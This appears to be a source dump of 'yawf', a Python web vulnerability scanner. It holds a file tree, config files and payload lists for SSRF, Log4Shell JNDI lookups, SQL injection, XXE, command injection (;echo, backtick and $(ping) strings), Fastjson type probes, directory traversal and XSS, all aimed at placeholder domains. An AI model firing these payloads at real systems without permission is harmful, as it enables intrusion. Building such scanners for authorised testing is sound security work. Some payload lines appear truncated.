├── core
├── __init__.py
├── probes
│ ├── __init__.py
│ ├── redirect.py
│ ├── log4shell.py
│ ├── dt.py
│ ├── ssrf.py
│ ├── rce.py
│ ├── jsonp.py
│ ├── fastjson.py
│ ├── xxe.py
│ ├── xss.py
│ └── sqli.py
├── fuzzer.py
└── probe.py
├── utils
├── __init__.py
├── constants.py
└── utils.py
├── data
├── payload
│ ├── ssrf.txt
│ ├── log4shell.txt
│ ├── sqli.txt
│ ├── xxe.txt
│ ├── rce.txt
│ ├── fastjson.txt
│ ├── dt.txt
│ └── xss.txt
└── bulk_poc.jpeg
├── .gitignore
├── pyproject.toml
├── yawf.conf.sample
├── README.md
├── yawf_bulk.py
├── getinfo.py
├── yawf.py
└── LICENSE
/core/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/utils/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/data/payload/ssrf.txt:
--------------------------------------------------------------------------------
1 | # SSRF payload
2 |
3 | http://domain/
--------------------------------------------------------------------------------
/data/bulk_poc.jpeg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/phplaber/yawf/HEAD/data/bulk_poc.jpeg
--------------------------------------------------------------------------------
/data/payload/log4shell.txt:
--------------------------------------------------------------------------------
1 | # Log4Shell(CVE-2021-44228) payload
2 |
3 | ${jndi:ldap://domain}
--------------------------------------------------------------------------------
/data/payload/sqli.txt:
--------------------------------------------------------------------------------
1 | # SQLI payload
2 |
3 | '1
4 | /**/and 1
5 | #' and 1--
6 | #' and 1#
7 | ' and '1'='1
8 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__/
2 | *.pyc
3 | .DS_Store
4 | *.code-workspace
5 | .python-version
6 | .venv/
7 | /output
8 | yawf.conf
9 |
--------------------------------------------------------------------------------
/data/payload/xxe.txt:
--------------------------------------------------------------------------------
1 | # XXE payload
2 |
3 | # echo
4 | ]>
5 |
6 | # blind
7 | ]>
--------------------------------------------------------------------------------
/data/payload/rce.txt:
--------------------------------------------------------------------------------
1 | # Remote Command Execution payload
2 |
3 | # echo
4 | ;echo domain
5 | |echo domain
6 | `echo domain`
7 | $(echo domain)
8 |
9 | # blind
10 | ;ping option 3 domain
11 | |ping option 3 domain
12 | `ping option 3 domain`
13 | $(ping option 3 domain)
14 |
--------------------------------------------------------------------------------
/data/payload/fastjson.txt:
--------------------------------------------------------------------------------
1 | # Fastjson detect payload
2 |
3 | {"test":{"@type":"java.net.URL","val":"domain"}}
4 | {"test":{"@type":"java.net.InetAddress","val":"domain"}}
5 | {"test":{"@type":"java.net.Inet4Address","val":"domain"}}
6 | {"test":{"@type":"java.net.Inet6Address","val":"domain"}}
7 | {"test":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"domain"}}""}
8 | {"test":{"@type":"java.net.InetSocketAddress"{"address":,"val":"domain"}}}
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | [project]
2 | name = "yawf"
3 | version = "3.0.1"
4 | description = "Web 漏洞检测工具"
5 | readme = "README.md"
6 | requires-python = ">=3.8"
7 | dependencies = [
8 | "beautifulsoup4==4.11.2",
9 | "cryptography==44.0.2",
10 | "dnspython==2.6.1",
11 | "esprima==4.0.1",
12 | "openai==1.60.0",
13 | "python-nmap==0.7.1",
14 | "requests==2.32.4",
15 | "requests-ntlm2==6.5.2",
16 | "playwright>=1.30.0",
17 | "tabulate==0.9.0",
18 | "httpx[socks]",
19 | ]
20 |
--------------------------------------------------------------------------------
/core/probes/__init__.py:
--------------------------------------------------------------------------------
1 | import os
2 | import importlib
3 | import pkgutil
4 |
5 | # 获取当前包的路径
6 | __path__ = [os.path.dirname(__file__)]
7 |
8 | # 动态导入所有模块
9 | for _, name, _ in pkgutil.iter_modules(__path__):
10 | if name != '__init__':
11 | try:
12 | importlib.import_module(f'.{name}', __package__)
13 | except ImportError as e:
14 | print(f"[*] Error importing probe module {name}: {e}")
15 |
16 | # 导出所有模块名称
17 | #__all__ = [name for _, name, _ in pkgutil.iter_modules(__path__) if name != '__init__']
18 |
--------------------------------------------------------------------------------
/data/payload/dt.txt:
--------------------------------------------------------------------------------
1 | # Directory Traversal payload
2 |
3 | ..filepath
4 | ../..filepath
5 | ../../..filepath
6 | ../../../..filepath
7 | ../../../../..filepath
8 | ../../../../../..filepath
9 | ../../../../../../..filepath
10 | ../../../../../../../..filepath
11 | ..../filepath
12 | ....//..../filepath
13 | ....//....//..../filepath
14 | ....//....//....//..../filepath
15 | ....//....//....//....//..../filepath
16 | ....//....//....//....//....//..../filepath
17 | ....//....//....//....//....//....//..../filepath
18 | ....//....//....//....//....//....//....//..../filepath
--------------------------------------------------------------------------------
/data/payload/xss.txt:
--------------------------------------------------------------------------------
1 | # XSS payload
2 |
3 | # XSS between HTML tags
4 |
5 | alert(1)
6 |
7 |